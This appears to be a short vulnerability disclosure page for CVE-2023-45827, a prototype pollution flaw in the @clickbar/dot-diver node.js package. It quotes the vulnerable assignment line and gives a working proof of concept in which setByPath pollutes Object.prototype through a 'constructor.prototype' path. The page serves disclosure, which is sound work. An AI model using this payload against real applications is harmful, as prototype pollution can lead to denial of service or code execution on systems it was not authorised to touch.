200101whoami/cve-2023-45827pp
CVE-2023-45827
CVSS : 9.8
Nov 3, 2023
ProtoType Pollution in node.js package
Parte del progetto rebob
This is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
vulnerable code
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
poc
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.